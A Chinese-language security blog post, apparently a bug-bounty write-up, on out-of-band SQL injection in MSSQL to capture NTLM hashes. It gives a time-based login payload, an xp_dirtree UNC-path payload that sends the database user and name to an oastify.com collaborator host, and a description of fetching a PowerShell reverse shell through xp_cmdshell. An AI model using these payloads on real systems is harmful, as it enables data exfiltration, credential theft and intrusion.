白帽故事 · 2023年11月2日 0

查询背后:通过SQL注入挖掘NTLM哈希

背景介绍

众所周知,SQL注入是一种将恶意SQL代码插入到输入字段从而操纵或利用Web应用程序背后数据库的攻击。

SQL注入可以导致未经授权的查看、破坏或删除数据,甚至在某些情况下,可以使攻击者能够对主机进行控制。

OOB SQL注入基础知识

OOB SQL注入,全称“Out-Of-Band SQLi”,中文译作“带外查询SQL注入”,传统的SQL注入攻击直接在同一通道(如网页)中检索数据,但是OOB SQL注入则更狡猾,它通常绕过传统防御并通过不同的路线发送数据,OOB SQL注入很容易被忽视。

MSSQL

MSSQL不仅仅是一个数据库,它也是一座堡垒,就像每座堡垒都有自己的秘密通道一样,MSSQL也不例外,存储过程有时就是那扇隐藏的门。

xp_cmdshell:它可以被称为MSSQL的‘精灵’,可以通过它来执行系统命令,从而实现你的“愿望”,默认情况下,它是被禁用的,但是某些情况下会被开启。

file

Getting a shell: 它告诉系统从特定的位置(http://ip:port) 获取PowerShell脚本(rev.ps1)。IEX Powershells Invoke-Expression cmdlet 在本地计算机上运行命令或表达式。

file

虽然有很多程序可以促进数据泄露,但本文将针对一种特定的方法详细介绍如何利用MSSQL中的xp_dirtree 的存储过程成功检索NTLM哈希值。

PS:NTLM 哈希,在Windows中,密码Hash被称为NTLM Hash。

开启深度挖掘

在当今的网络安全时代,在登录页面上偶然发现SQL注入漏洞就好比在新建的城市中挖掘出古代文物一样,然而,SQL注入漏洞有时就隐藏在众目睽睽之下。

某个应用程序有着‘时尚’的登录页面,很多人会认为它难以渗透,但它的“用户名”参数却悄悄的隐藏着一个旧漏洞,通过精心设计的SQL查询,shubham' WAITFOR DELAY '0:0:5'-- 然后附上随机密码,成功执行了SQL命令。

file

Brupsuite 请求:

file

借助sqlmap工具,进行再次确认时,发现sqlmap将漏洞标记为误报,所以有时候手动测试和直觉仍然是不可替代的

file

深入研究存储过程

通过精心构建的Payload,尝试提取更有价值的数据,于是利用xp_dirtree 成功显示了系统用户和数据库名称。

file

Payload中声明了两个变量@a@b,他们都可以容纳最多1024个字符的字符串,system_user函数用于检索SQL Server 中当前用户的名称,该名称存储在@a变量中。 EXEC('master..xp_dirtree...') 这部分执行xp_dirtree存储过程,此过程用于列出目录文件,然而在这种情况下,\\"\\\\' + @a + '.' + @b + '2svs731t2s6bhy1r9pghilk9n0trhl5a.oastify.com\test$" 将使用之前获取的系统的用户和数据库名称构造了一个UNC路径,而UNC路径指向oastify.com域,这表示尝试启动到该域的SMB连接,如果服务器尝试对提供的域进行身份验证,就会尝试获取NTLM 哈希值。

收到collab server响应:

file

部署Responder工具,尝试获取更加丰富的数据:

file

再次利用xp_dirtree,尝试获取目标NTLM哈希值:

file

bingo~成功收获NTLM哈希值:

file

至于如何利用这些哈希值,那就是另外的故事了~你学废了吗?